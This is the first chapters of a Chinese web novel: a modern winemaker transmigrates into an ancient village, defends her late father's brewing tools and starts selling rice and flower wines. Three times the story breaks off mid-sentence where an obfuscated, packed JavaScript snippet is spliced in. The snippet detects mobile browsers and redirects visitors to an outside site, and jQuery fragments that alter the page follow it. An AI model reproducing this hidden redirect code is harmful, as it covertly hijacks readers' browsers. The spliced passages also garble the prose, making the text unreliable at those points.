《我靠酿酒在古代发家》 1. 穿越 鼻间萦绕着一股混着草叶、烟尘与陈年的裂木味道。沈钰头疼欲裂，伸手去摸床头的手机，却只摸到一张裂得起皮的凉席边。 四周一片陌生。 窗是纸糊的，屋是土砖的，屋角还有个塌了半边的灶。 一段不属于沈钰的记忆顷刻间涌入脑海。 她穿越了。 沈钰本是酿造花露烧的非遗技艺传承人，从小学习酿酒。最近她正忙着研发一种新技术，成功之后在保持传统花露烧酒色、香、味的基础上，使花露烧酒中杂醇油的含量降至原来的50%，让酒不易上头。 一连熬了几个月，她最终倒在了实验室。再睁眼，她成了这古代同名女子。 原主母亲早亡，与酿酒为生的父亲相依为命。谁知父亲沈怀□□发恶疾，撒手人寰。小姑娘一时想不开，跟着跳了河，烧了一身风寒，没熬过去。 沈钰在床上恢复体力，努力坐起身，循着记忆从床缝里摸出一个荷包，一眼便看出不对，应有两包碎银，如今只剩半包。 她的心一下冷了，病着昏了几日，就有人敢偷她银子。银子是沈父生前准备盘铺子的钱。 思索间，似有若无的酒香飘入鼻间，打断了沈钰的思绪。 下一秒，她顺着酒香，来到酒坛前。坛盖已被揭开，酒香扑面而来，正是沈大生前酿制的那坛酒。 这味道对对从小混迹在酒坊中的沈钰来说再熟悉不过。 她的手有些颤抖，用酒勺捞起一口酒，色泽微黄。入口甜有米酒香，回味起来却又是白酒香，绵中带劲，柔中带刚。 她没想到沈大已经将这花露烧给酿出来了。 沈钰是花露烧酿造技艺的传人，对这酒她最了解。 花露烧，用米酒和烧酒两种不同酒性的酒混合陈酿而成，兼具米酒的绵柔和烧酒的刚烈，刚柔相济，风味独特。新酒酒色微黄，陈酿则呈现透明的琥珀色，五年以上会逐渐变深。 原身记忆里，现在黄酒还是市面上的主流，至少在这个城镇是这样。烧酒虽然也有售卖，不过大多数人受不了这个劲头。 沈大酿的酒颜色还浅，应该是还没陈多久就被开封了。 她想，这难道是天意，让她穿越到同名同姓的沈钰身上，是为了让她代替原主传承酿酒技艺。 只是，她发现这坛口的封泥松动的不对劲。沈钰蹲在酒坛前，手指沿着坛口轻轻抚过，残破的封泥触感冰冷发硬。 按理说，沈大死前封得极紧，她亲手检过缸沿，分毫未损。可现在，酒液少了三分之一。 有人动过。 而且，是趁她昏迷这几天。 沈钰缓缓起身，目光从屋檐扫过破瓦，从院中一口破水井扫到门口的柴垛。天光还早，巷子静得出奇，只有几声母鸡扑腾翅膀。 她借着月光，细细打量这间酿房。屋内酿酒的器具齐全，大甑、釜锅、箅子、酒曲坛、泡缸、酒瓮、拌杵之类的，都安安静静地躺在地上。 这些器具都被沈大养护得很好，一看就是经常擦拭的用心之人。这种竹制木制器具最容易发霉，但沈钰细细检查了一番，发现每件都是干干净净的。 检查完器具，沈钰对重新拾起酿酒手艺的信心又多了几分。 她酿酒的手艺是和她爷爷学的，是最正宗的古法酿酒工艺。用她爷爷的话说，“老祖宗传下来的东西不能丢”。 把整个屋子都看了一遍后，才发现除了那一坛花露烧，再没一坛陈酿，也没有任何酿酒的原料。 她正准备将那口酿酒缸重新盖好，门口却传来一阵急促的脚步声，还伴着粗重的呼吸和瓮声瓮气的低骂：“死丫头醒了没？真晦气，死也别死在我家里啊！” 门被踹开，一个圆脸妇人推门而入，瞥见沈钰睁眼，便咂嘴冷笑：“哟，命还真大。烧成那样都死不透，是不是你那死鬼老爹舍不得你？” 女人五短身材，穿着粗衣粗布，一张脸圆的像盆，脸上露出嫌恶的表情，一看就是个不好相与的。 沈钰认出眼前这人，是原主二叔的妻子，婶娘杨淑惠。嘴毒心狠，见缝插针地打原主的主意。 “婶娘。”沈钰刚出声，喉头却像刀刮一样沙哑。 “这几天老娘喂你吃药送饭，可真当你是祖宗了。”杨淑惠一边掸袖子，一边打量屋里，“我劝你识相点，别再闹着寻死。你要是真走了，那你爹那点酒坊烂玩意儿就都归我们了。” 杨淑惠领着沈二，气势汹汹地闯进酿酒屋。她一眼扫见缸旁的沈钰，当即冷笑。 “我说你醒了也装得够久的了，别怪婶娘没提醒你，你爹的那点玩意儿，你也别想一个人全占了。这酿酒的东西，赶紧给我搬了！”杨淑惠叉着腰，理直气壮地指挥沈二，“咱家也缺柴烧，这些破烂玩意儿，砸了烧火正好。” 沈二犹豫地站在一边：“这可是大哥的东西，不太好吧……” “有什么不好的？”杨淑惠狠狠瞪了他一眼，“他都死了，还管那么多做什么？”说完，伸手便去拿放在一旁的拌杵。 沈钰眸光一冷，猛地上前一步，挡在前：“这是我爹留下的酒坊工具，婶娘你拿来做什么？你又不会酿酒。” 她声音不大，却每个字都掷地有声。 杨淑惠没料到一向柔弱的沈钰居然敢顶撞自己，顿时气得面色铁青：“哟，沈钰，你胆子长肥了啊，敢跟婶娘我抢东西？”她说着就抡起袖子要动手。 沈钰被她推得踉跄后退几步，眼见杨淑惠伸手要去砸地上的酒坛，沈钰再也忍无可忍，从挂钩上抽出父亲生前用来劈柴的斧头，重重拍在酒缸旁边的案板上。 “你敢动我爹的酒坛试试！”她抡起斧头，毫不犹豫劈向地板一角，一声巨响震得尘土乱飞。 斧光一闪，冷意逼人。 杨淑惠没料到沈钰竟敢拿斧头，顿时吓得后退一步，随即脸色涨红，气急败坏地骂：“你个疯丫头！反了天了你！” 院外不知何时聚起几个看热闹的村人，有人小声议论： “这不是老沈家的姑娘吗？她爹才刚下葬，婶娘就惦记起他的酿酒东西了？” “沈大生前再穷，也从不让他姑娘饿着，如今他尸骨未寒就要抢人东西，她婶子这是要丢尽良心喽？” “这丫头平时怯生生的，倒也挺有胆。” 众人的议论让杨淑惠面色更加难看，她又羞又恼，转而对沈钰放起狠话：“行！你不识好歹是吧？你不是不想嫁人吗？我明天就给你找个婆家，看你还能嚣张几天！” 说罢，她狠狠地瞪了沈钰一眼，甩手离开，沈二满脸尴尬地跟在她身后。 沈钰见她走远，这才无力地放下斧子，颓然坐在地上。四周邻居见状，纷纷上前安慰几句，也散了去。 她的目光落在面前这些陈旧却完好的器具上，眼底渐渐坚定起来。她会在这个陌生的时代传承花露烧酿造法，替沈父将酒坊开下去。 “姐，”一道清脆的童声传来，一个不过十岁的小豆丁跑到了她面前，“姐，你终于醒了！你没事吧！” “铭哥儿？” 来人是杨淑惠的儿子，原主的堂弟，沈铭。虽然他娘对原主很刻薄，他倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763911|174503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很黏着自己堂姐。 沈铭凑到沈钰身旁，紧紧拽着她的袖子，眼里隐隐有雾气：“姐，你睡好几天了，爹娘都说你要没了，我……” “乖，姐姐没事。”沈钰抬手摸了摸小家伙毛茸茸的脑袋。 沈铭让她想起了她的表弟，也是这样黏人。 “姐，你先别说话了，”沈铭皱着眉，摸了一把冰凉的茶壶，“我给你烧热茶去！” 话音刚落，他风风火火地冲出去烧水，看得沈钰感动又无奈。 一段时间后，沈铭带着热茶回来了，细心地给沈钰兑好温水，才递到她嘴边。 “姐，给。” 沈钰接过，浅酌了一口，喉中舒服许多，说话也不再像刚才那样沙哑。 “辛苦你了，铭哥儿。” 沈铭小麦色的脸上一红：“你没事就好，钰姐姐。就是你别再生病了，我怕。” “好。姐姐答应你。” “姐，你别听我娘的，我不会让她再说你了！你别担心，我来养你！” 才十岁的小孩，信誓旦旦地拍着胸脯，让人哭笑不得。 沈铭和沈钰十分要好，两人一起长大。沈钰长得好看，从来不会对沈铭说重话，还时不时给他做些小食和衣服鞋子。沈铭他娘是个火爆脾气，沈铭就更喜欢温柔的沈钰。 有时候看他娘骂沈钰，他就会悄悄替沈钰说话，还时不时拿点家里的肉食接济原身。 沈铭他爹沈二，也就是原身的二叔，是个庄稼汉，什么都听他婆娘的。他看自家侄女被数落，半天憋不出一句话。 “姐，这个给你。”沈铭从怀里掏出一袋东西。 “这是？” “这药是爹给你抓的，还有点银子是杨宇哥给你的，说让你买点东西补补。” “这药我收下了，钱你还回去吧，我不能要。” 杨宇算是原主的青梅竹马，一直对原身有意思，不过原主一直把他当哥哥。 沈铭也是个懂事的，他也不多问，只把那些银钱收回去了。 “对了，你知道是谁救了我吗？” 沈钰隐隐约约记得，原身跳水后不久就被人捞了起了，这才没当场殒命。 “是镇上的程捕头，程易。” 沈钰暗自记下人名。 “钰姐姐，你好好休息，我明日再来。” 沈钰赶紧让沈铭回去了，省得杨淑惠一会又找过来，吵得她耳朵疼。 她起身给自己煎药，一定要尽快养好身体。 晚饭是沈铭送过来的，一碗稀粥和一盘萝卜烧豆腐。饿了许久的沈钰也不嫌弃，吃得津津有味。让沈铭看得目瞪口呆。他印象里的钰姐姐吃饭斯斯文文的，从没看她这么豪迈过。 “姐，钱我还给杨宇哥了。你放心，我谁都没告诉，爹娘都没说。” 听完沈铭的话，沈钰从抽屉里摸出一只缝制好的布老虎，憨态可掬、栩栩如生，一看就是废了大心思制作的。 “来，铭哥儿，这个你拿着玩。” 沈铭眼睛亮亮的，抓着新到手的布老虎不放，看得出来十分喜欢。 沈钰温柔地看着沈铭，想着有机会再做点什么积木、拼图给这孩子玩一玩。 此时的镇署东街，夜巡回来的程易正靠在墙边小歇。 副手提着灯笼匆匆走来：“头儿，今儿有人报说东巷那有人起争执。” 程易掸了掸袖口，语气不冷不热：“是吗？” “听说是卖酒的老沈家。” 他顿了顿，抬眸望去那条巷口，眸光深了几分。 2. 试市 沈钰风寒痊愈，第一件事便是重新开始酿酒。先从最简单的米酒开始，这对手法和原材料的要求最低，出酒也快。 沈钰循着记忆上街，在几家米铺前问了价，最后停在镇口的黄记行。 “掌柜的，我想买糯米，二十斤。” 掌柜点头：“成，小娘子坐会儿，我让人去搬。” 沈钰刚坐下，旁边几个买米的汉子瞄了她一眼，有人笑出声来：“姑娘家买这么多，是打算自己酿酒啊？” 话音刚落，几个笑声附和起来，空气中隐隐透着揶揄与轻视。 沈钰没理他们，只起身走到米堆前，抓了一把，轻嗅、拨弄，淡声道：“陈米，米香淡、米心浮、含水重，不适合做甜曲发酵。” 众人一滞，那掌柜也愣住，赶忙堆笑赔不是，连忙换了新米。 黄掌柜本想趁机把这堆旧糯米出手，还以为是个不懂行的女子，没想到竟是个行家，掌柜心里对沈钰不由看重几分，喊了几个腿脚便利的伙计，帮她把糯米运了回家。 离开米铺，沈钰转身去买酒曲。 “掌柜的，有甜酒曲卖吗？”沈钰立在柜台前，声音轻轻，嗓音还有些沙哑。 掌柜头也不抬地扫了一眼她这副病恹恹的样子，笑了声：“姑娘是买来做酒酿的？这甜曲可不好掌握，买的人不多，你若是第一次，不如换麦曲试试，劲头足，不容易坏。” 沈钰却道：“我只要甜酒曲。酿米酒用麦曲，会串味。” 掌柜抬起头，略有些惊讶：“哟，那你瞧瞧，要大曲还是碎末？这一批是江南新制的，曲香还嫩。” 沈钰上前一步，伸手拿起一个灰白色小酒曲团，轻轻凑近鼻尖嗅了嗅，又掰开一角。 “这曲子湿气重了些，表皮未霉透，内芯生，发酵时容易长水味。” 她说得不急不缓，话音落下时，掌柜眼睛都睁大了。 “你是做过这行的？” 沈钰扬了扬下巴：“我家本就是做酒的。” 掌柜这才认真端详起沈钰，认出他是沈大的女儿。 他顿了顿，索性把柜台下压着的几块老曲也拿了出来：“这几块是老酒坊自己留种的，你要是能分辨得出哪块最好，我就卖你。” 沈钰没犹豫，指了指第三块：“这一块。颜色灰白发润，气味清淡透甜，手感结实无裂，最适合发糯米的香。” 掌柜哑然失笑，拱了拱手：“姑娘果然是行家。来，我按本价给你算。” 沈钰正准备离开，忽而听见旁边几位挑担卖茶的小贩在低声议论。 “听说了吗？城东那家新开的‘祥记坊’，这几日收了不少自家酿酒的小户，说是统统包销。” “嘿，他们家后台硬，有大户撑腰，不许别人在镇里自立门户。” “你再不听话，说不定哪天你家那点米酒也被人砸了缸！” 沈钰脚步一顿，手指轻轻拂过腰间的荷包。 祥记坊？她记得这名字，前身似乎听爹说过，是镇上近年才冒头的新酒商，压价、垄断、收购，一套一套的。她若真想靠酿酒立足，迟早会跟这种人对上。 回到家，糯米已经摆好。沈铭蹲在一旁守着，看到她飞奔过来：“姐，米我都看着呢！” 沈钰笑着摸了摸他脑袋，从荷包中掏出一把小木剑递给他。小家伙立刻挥舞起来，比划得满头大汗。 姐弟俩正说笑，沈二推门进来，拎着个布包，神情局促。 钰儿，叔来看你。”他掏出几颗鸡蛋，悄声嘱咐，“你婶不知道……我没告诉她。” “二叔，都是一家人，您说这话干什么。” 沈钰心中叹气。 “钰儿，你是个好孩子。”沈二感动地眼眶湿润，一个高壮的汉子竟然显得十分脆弱。 沈钰心想，沈二没了大哥，也不比她心中好受多少。 沈二送完东西，招呼沈铭回家吃饭。沈钰知道他的难处，也不怪他，帮着劝沈铭快回家。 翌日清晨，天光微亮。 沈钰把袖口挽到肘间，取出刚买回的糯米倒入木盆中。米粒白润饱满，透着隐约清香。 她动作娴熟，先后清洗三次，直到水色清亮如镜。随后，把米控干，用布巾盖好，静置片刻，让米表面略微回干，这样更利于蒸煮时粒粒分明。 水汽氤氲，沈钰将泡好的米装入屉布，再放入甑中，不时掀盖，用鼻子嗅着蒸汽的气息。 约莫十五分钟后，米香渐起，沈钰小心将蒸熟的糯米倒入竹编箩中摊凉，用木铲轻轻翻动，避免团结结块。 随后，她取出早已准备好的酒曲，用细筛筛入糯米中，一边撒一边拌匀，确保曲粉能包裹每一粒米。 为防杂菌，她还特意用烈酒在缸壁内轻拭一遍，小心地将糯米入缸、封布、缠绳，终于完成第一步。 三天后。 沈钰小心揭开缠在酒缸上的盖布，一股温润甜香扑面而来。缸中糯米微微膨胀，米粒间已隐隐浮出清亮的酒液，酒面澄净如镜，泛着莹莹白光。 浅浅一尝，甜而不腻，入口顺滑。 “成了。” 沈钰将酒装好，叫沈铭一起帮忙搬上了推车，两姐弟一起上了市集。 沈钰穿了件素净的浅青色布裙，又用剪刀将袖边磨破处裁齐，重新纳了针线。随手绾了个发髻，用旧绢带缠了两圈，低垂在耳后。 沈钰的摊子摆在转角边，不算显眼，旁边卖茶的、卖点心的都吆喝得声嘶力竭。 “怎么没人来呀，钰姐姐……”沈铭站在摊边，包子脸都皱成了小馒头。 “别急。”沈钰弯腰捏了捏他软乎乎的脸蛋，“你把陶盅摆好。” 沈铭乖乖照做，她则将酒缸封布掀开，温润酒香立刻逸散开来，在晨风中若隐若现，带着一点糯米发酵的甜气。 香气刚飘出去不远，便引来了几个街边闲坐的汉子。 “咦，这是谁家姑娘卖酒？”一人咂咂嘴走近。 几人哄笑着围上来，一副看乐的模样。沈铭气得鼓起脸蛋，张口就想回怼，被沈钰拉住。 她带着笑：“几位大哥若不嫌，不如尝上一口。不好喝，我赔茶钱。” “哟，赔钱？小姑娘倒有点底气。” 一人半信半疑地接过她递来的陶盅，仰头灌下一口，准备冷嘲热讽。 下一瞬，那汉子皱起眉，又迅速舒展开，眼神由满是不屑变成微微惊讶。 “这……是你做的？”他盯着沈钰，语气里多了分审视，“这酒……” 沈钰接过话：“糯米蒸足八成，只取头十斤酒液，不掺不兑。” 她一边说，一边舀起酒液举到日光下。澄清如玉，微光浮动。 听完，人群渐渐围拢。 “多少钱一壶？” “六合四十五文，整斤六十。 有嘴刁的老汉喝完，转身就掏钱。还不到中午，酒便卖了大半。 沈钰收拾空壶时，耳边忽然响起一句冷声： “卖酒的。” 清冷低沉的男声陡然响起，一下就把喧闹的人声压了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763912|174503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去。 众人循声看去，一位青年缓步而来，黑袍束腰，身形颀长。眉目分明，眼神凌厉，衣角被风扬起，露出胸口别着的银纹腰牌。 程易停在她摊前，视线在酒坛、木壶、试饮碗上一扫，目光落回她身上，语气不疾不徐：“这酒，是你自酿的？” 沈钰一怔，点头。 “有酒引吗？” 什么酒引？ 她努力维持冷静，声音细细软软：“大人，我父辈开始酿酒，在巷里小卖几壶，没敢去酒坊争利，亦未设铺，只是家中手艺，图个糊口罢了。” 程易面无表情：“入市售卖未备案，属私酿，按律当拘，没收酒缸，罚银五两。” 他说完这句话，身边一位捕快便上前一步，似要动手查封。 沈钰身形一晃，险些站不稳，赶忙扶住酒坛。她咬了咬唇，抬眼看他，睫毛颤得厉害。 沈铭伸出双臂拦在摊子前，不肯退让。 程易脸色未变，只用冰冷的视线扫了一眼沈铭，丝毫不把他放在眼里。 四周百姓窃窃私语。 旁边大娘帮腔道：“程捕头，她爹就是沈大，是老实人家！她爹以前可是办过酒引的！” 程易垂眸看着沈钰，语气一转：“初犯，罚银二十文，限三日内补引。” 沈钰忙掏钱奉上，又软声道谢。 “多谢大人开恩。”她垂眸轻声道，语气温顺，抬手悄悄拭泪，肩头微颤，看得人心一软。 沈钰从荷包中取出二十文交到程易手中。 程易视线落在她指尖细白的手上，一瞬轻不可察地顿住，旋即将视线移开。 “程捕头要不要试试？”沈钰主动递上一杯酒，笑得讨好。 “不必了，”程易皱眉，“办公时间，公务之地，不饮酒。” 说完他转身便走，脚步干脆利落。 围观众人：“程捕头一向冷面，今天算给足面子了。” 沈钰松了口气，刚刚那人冷冰冰的，二话不说就要收她的摊子。不过，酒引的问题确实得尽快解决。 今日米酒已经全部卖光，刨去罚银和成本，大概挣了一百五十文，算是小有收获。 “钰姐姐，刚刚吓死我了。程捕头看起来好可怕啊。” “铭哥儿，刚刚那个程捕头不会就是，救了我的那个吧？” “是啊。” 看来得尽快办好酒引证了，省得给人家工作添麻烦。 人群渐散，巷尾一棵老槐树下，却还有人没走。 一瘦高男子穿着灰布短褂，脚蹬草鞋，鼻梁塌陷，脸颊干瘦，眼神阴鸷，站在人群后半天未曾言语。他肩头扛着个破箩筐，看起来和周围贩菜小贩无异，只是那双眼，死死盯着沈钰的摊位。 身边一个油头滑脸的胖子低声问道：“她，真是那沈老鬼的闺女？” 瘦高男子咂了咂嘴：“十有八九。你刚才没听见？那捕头亲口问了名字，沈怀东。” “啧。”胖子啐了一口，眼中闪出一抹冷光。 瘦子笑得有点猥琐：“我说你不会还惦记着当年那酒方吧？沈老鬼死前不是把配方全烧了？” “烧了？”胖子冷笑一声，“我看是藏了。” 他用力一摁箩筐，语气阴狠： “去盯着她。看她是自己干的，还是有人帮。等她真做起来……让刘掌柜的‘老法子’伺候。到时候，是她酒有问题，还是她人不干净，可就不是我们说了算了。” 两人肩头一耸，混入人群，消失在巷尾。 3. 罚银 “程捕头您来了？” 沈钰抬头，果不其然，那张严肃到能吓哭孩子的脸又出现在摊前。 程易负手而立，嘴角淡淡一勾：“例行巡查。” 自从上次被他罚了银子，沈钰便认真研读起本地律例。她翻遍父亲留下的账册，终于弄清楚要想长久卖酒，必须在官坊立案、办理酒引、录入名册。于是第二天一早，她便背着酒坛子去了县衙，老老实实地把手续全办了。 之后的日子，她一边酿酒一边摆摊，偶尔还会抽空教沈铭识几个字，过得忙碌又充实。 只是她实在想不明白，程易怎么总是隔三差五，就“例行”到她摊子前绕一圈。 “上回送去的酒，味道还行吗？”她笑吟吟地问。 得知程易曾救过原主那一跳水之后，她特意酿了一小坛酒，又做了点吃食，送去了县衙以表谢意。程易原本不肯收，她索性一放转身就跑，成功把谢礼甩进了他手里。 但她总觉得程易对她态度怪怪的，说不上好，也谈不上坏，就是……冷。 “嗯。”程易淡淡应了一声，又扫了摊子一圈，带着几名随行转身离去。 沈钰看着他背影，小声嘀咕：“真是个勤勤恳恳的打工人。” 不知怎的，她脑海里浮出一个可能性，随即又忍不住自嘲地笑了笑。 “不会吧，他……该不会是专门来‘巡我’的？” 她低头理了理摊位，又偷偷朝那街口瞥了一眼，那里早已空无一人。 可这不是第一次了。 从第一次被他查摊罚银后，她便开始有意识地注意这个人。程捕头不多话，总是冷着一张脸，查摊也查得板板正正，连多看她一眼都显得严谨克制。 有一回，她无意中在街角看见他站在树荫下，目光朝她这边投来。她假装没看见，却听见身后的沈铭悄声问：“姐姐，那位哥哥怎么总在盯着你看？” 她当时还呵斥沈铭“别胡说八道”，可回头时，那身黑色捕服已拐过了街角。 沈钰不由自主地开始胡思乱想。 程易是不是想来讨酒吃，又不好意思明说？毕竟上次她硬塞给他一坛酒和一包点心，他虽嘴硬不收，走时却也没还回来。 莫不是……尝过后，贪上了她这酒和雪花酥的味儿？ 也是，她这雪花酥配甜米酿，本就不是寻常人做得出的搭配，寻常人哪能想得出用花粉炒酥、用陈米蒸酿？ 想至此，她低头看了眼手中点心篮子，心中忽生出几分复杂。 要不要下回多备一份？ …… 傍晚收摊时，天边霞光渐隐，沈钰正推车回家。 沈铭前两天被她硬塞去了村里的学舍，她可不能眼睁睁看着弟弟长成个大字不识的文盲。二叔是个种地的汉子，家中拮据，沈钰便替沈铭出了大部分束脩。也许正是因此，二婶这几天对她说话都客气了几分。 “今天的酒卖得干干净净，酒酿圆子也大受欢迎。等黄酒再过一个月出缸，日子应该能更宽裕些。”沈钰一边走一边盘算，心情颇好。 “沈钰妹妹。”一道低沉的男声忽然打断了她的思路。 “你是……杨宇哥？”她抬头，从记忆里翻出了这个人，眼前这位叫杨宇的青年，原主从小熟识，对她颇有好感，曾托沈铭捎过几样东西。 “你，最近还好吧？我听说你前段日子病了，一直想来看你，只是……”长相清秀老实的年轻人红着脸，支支吾吾地开口。 “好多了，谢谢杨宇哥关心，不过我自己能照顾自己。”沈钰语气平平，点了点头便准备离开。 没想到杨宇一急，竟伸手拉住了她：“诶，沈钰妹妹，你等等。” “你干什么！”沈钰一惊，用力甩开他的手。 “啊不是，我只是……还有几句话想跟你说。”杨宇讪讪地低下头。 “好，你说吧，我听着。”沈钰后退了几步，拉开了些距离。 “我心里只有你，是我娘逼我和晓芳定亲的。我……我不是自愿的。只要你愿意，我……” “行了。”沈钰皱了皱眉，直接打断，“杨宇哥，你知道我从来就没喜欢过你。你已经和晓芳姐在一起了，她人很好，你应该对她负责。” 她记得得很清楚，原主从未越界，只是因为父亲赏识杨宇，对他格外客气，才让人误会了意思。 “我……”杨宇张张嘴，却终究说不出什么来。 沈钰转身就走，丝毫未留余地。 巷口风动，灯火斜照，程易倚在檐下阴影里，将方才一切尽收眼底，眉峰深沉。 他没上前，却在沈钰推车过来时，慢步迎面。 “沈捕头？”她一看到他，声音里透出一丝意外。 “路过。”他眼神平静，语气一如既往。 “那还真是巧啊。”她半眯着眼，语气轻飘飘的。 “你酒缸摆得不稳，刚刚我听说有人差点撞翻。”他语气不重，却带着几分认真，“以后摆摊靠墙边，别拦在人流口子上。” 沈钰一怔，推车的手顿了下。 “你怎么知道？”她狐疑地侧头。 “有人报备。”他答得极快，眼神淡淡，半句没提正是他自己冷脸吓退了人。 沈钰眼角弯了弯，似笑非笑：“哎呀，原来沈捕头还管这些闲事？” 他沉默两息，忽地低头看她，嗓音低沉：“沈钰，别总以为你聪明。” “嗯？”她挑眉，“这话是什么意思？” “你那副装可怜的小模样……不太管用。” 沈钰噗地一笑：“我什么时候装过可怜了？” “你眼角的泪痣，会动。” 她一时愣住，下意识摸了摸眼尾，而程易已转身走远，背影挺拔。 沈钰站在原地，脸颊悄悄发红。良久，她推着车慢慢往回走，耳根微热。 夜色愈深，街巷安静下来。她的身影在昏黄灯影中拉得细长，脚步不紧不慢，却带着说不清的轻快。程易站在街角，目送她的背影消失。 他收回目光，低头掸了掸衣摆，思绪却不由自主地飘回从前。 多年前，沈钰年幼，常跟着沈大出摊，那时她不过七八岁，扎着两个小辫子，在酒缸边跑来跑去。后来沈大护女心切，便不让她露面。再后来，沈大骤然病逝，小姑娘一头栽进水里，是他跳下河把人救上来的。 本以为那姑娘性子柔弱，如今倒也利落得很。 其实像今天这样的小摊巡查，轮不到他亲自来。但不知怎的，最近一个月，他的脚步总是不由自主地往这条街拐。连手下都觉得他有点不对劲。 至于沈钰送来的东西，他原本确实不打算收。可那丫头倒好，放下就跑。他一大男人，也不好和小姑娘在街口拉扯，只得认了。 那坛酒，确实不错，火气足，回甘也快。至于那几块点心，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763913|174503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让小弟尝了。结果那小子吃完眼睛都亮了，说是“软中带脆，奶香夹心”。 他这才开始留意起她的摊子，才发现那点心叫“雪花酥”，是她自己想出来的。 每次站在远处，瞧见她戴着帕子，弯腰收摊、细细擦拭木箱时，那股认真劲就叫人移不开眼。 她和他见过的姑娘都不一样。 小丫头心思不少。倒想看看，她到底还要变出多少花样来。 …… 傍晚，沈钰清点完银钱，走进酿房，轻手轻脚揭开最角落那一缸酒的封布。 一股幽幽的、带着淡淡麦香与米甜的气味扑鼻而来，与清甜米酒不同，这缸黄酒香味更沉更醇，收敛却有劲。 她小心拨开酒面浮起的薄膜，拿干净瓷勺舀了一勺放在掌心。 “颜色比前几天更深了……”她轻声道，“看起来已经完成第一次主发酵。” 她将酒液倒入一只小盅，靠近细闻，又蘸了一点在舌尖。 “嗯，酸度略高，要再调点甜曲。”沈钰微微皱眉，从角落搬出一个布口袋，里面装着她亲手试配的“增香曲”。那是她参照前世实验记录，特意将糯米晒至半焦混入艾叶，改良了这时代常见的“红曲”，不仅保留了酒香，还能增加“暖香回甘”。 她小心掂量着撒入一小撮。 “再多三天，应该能转熟香型。” 沈钰翻开笔记，记录下这次温度、湿度和曲比例。 除了改良酒曲，她还试着酿制不同口味和功效的酒。 比如那缸靠窗的清酿，便是她这几日的新尝试。 与常见米酒不同，那缸酒里加入了她晾干的桂花、玫瑰花瓣，还有少许竹叶青汁。她记得前世调果酒时用过类似配比，不仅能提香，还能去腻清热。如今这个时代的人大多只喝浊酒，不讲口感层次，她若能调出一款“女子也爱喝的花酒”，说不定能另辟蹊径。 酒缸旁是一小坛初滤出来的澄清酒液，色如浅琥珀，微泛粉光，光看就让人心生好感。 她取了一小杯，细细品了一口。 “入口柔和，花香还不够持久……”她轻声自语，又翻开笔记补上一行。 这酒她打算不急着卖，而是先嵌入甜品中试水。她已经想好了名字——“花影清酿”，像极了初夏微雨时分，竹下斜风拂花的味道。 她想拿它做成软心酒酥，包在自己做的小点心里，当茶食卖，也当赠礼送人。 沈钰走到另一口缸前，揭开封布，扑面而来的却是更浓郁厚实的香气。这是她另一个尝试，用的是黑糯米与龙眼、枸杞、陈皮同发酵的底料，颜色深如墨玉，缸口浮着一层浅浅的气泡，隐隐带出一丝药香。 “夜养露。”她低声念着这个名字。 这不是用来佐餐的酒，而是一款她想做给长辈、为苦劳人熬夜伤身者准备的温补酒。 她想起了前世的那些配方：药酒往往烈而燥，重而厚，很多人喝不惯。但如果她能用糯米的温润中和药材的燥热，让这缸酒温和养胃、不刺喉，甚至能帮助入睡。 沈钰用细竹签搅动酒液，小心掂出一瓢，落入小盅中。 酒色浓如乌檀，香气却不是传统的浓重熏蒸，而像夜雨之后的老木房，带着淡淡的温热与木皮清香。龙眼的甜、枸杞的润、陈皮的提气感全都裹在其中，若有若无。 “发酵第六日，药香渐稳，入口微涩……再养十日看看。” 4. 订壶 花酒得贵客，童斗惊捕头。 沈钰在巷口摊位边支起一张新桌，特地铺了干净帛布，桌上摆着小陶壶、雪花酥与桂花糕，每壶花影清酿酒身上都系了细红绳。 “姑娘，这酒闻着真香，真是花酿的？我咋没瞧着里头花瓣呢？”卖绣线的吴娘子凑上来，语气里透着一丝好奇。 “是也不是，”沈钰切开一块米糕，“花瓣晒干，入曲发酵时自然生香。” 吴娘子尝了一口，啧啧赞叹。 “姑娘，你这手艺在这摆摊真是可惜了。” 沈钰轻柔一笑，不作回答。 她也想尽快盘下店面，省得每次都要带着东西摆摊。只是，她这些天打听过城里的铺面，银钱还差上一些。 今日带的花酿不多，总共六壶。不到一个时辰，便卖了个干净。 这一个月她坚持出摊，先是卖米酒，之后也做小点心，打出点名气，还有了不少回头客，收入算稳定的。 “姑娘，这酒怎么卖？”一道温和的女声忽然响起。 来人是一位着湖蓝褙子的少妇，头戴珍珠钗，年约二十四五岁，容貌端庄，身后还跟着一个小丫鬟。 她走近摊子，仿佛只是随意一瞥，目光却精准地落在那空酒坛上。 “夫人若不嫌弃，还有这盏试酒残液。”沈钰利落地倒了小半盏递上。 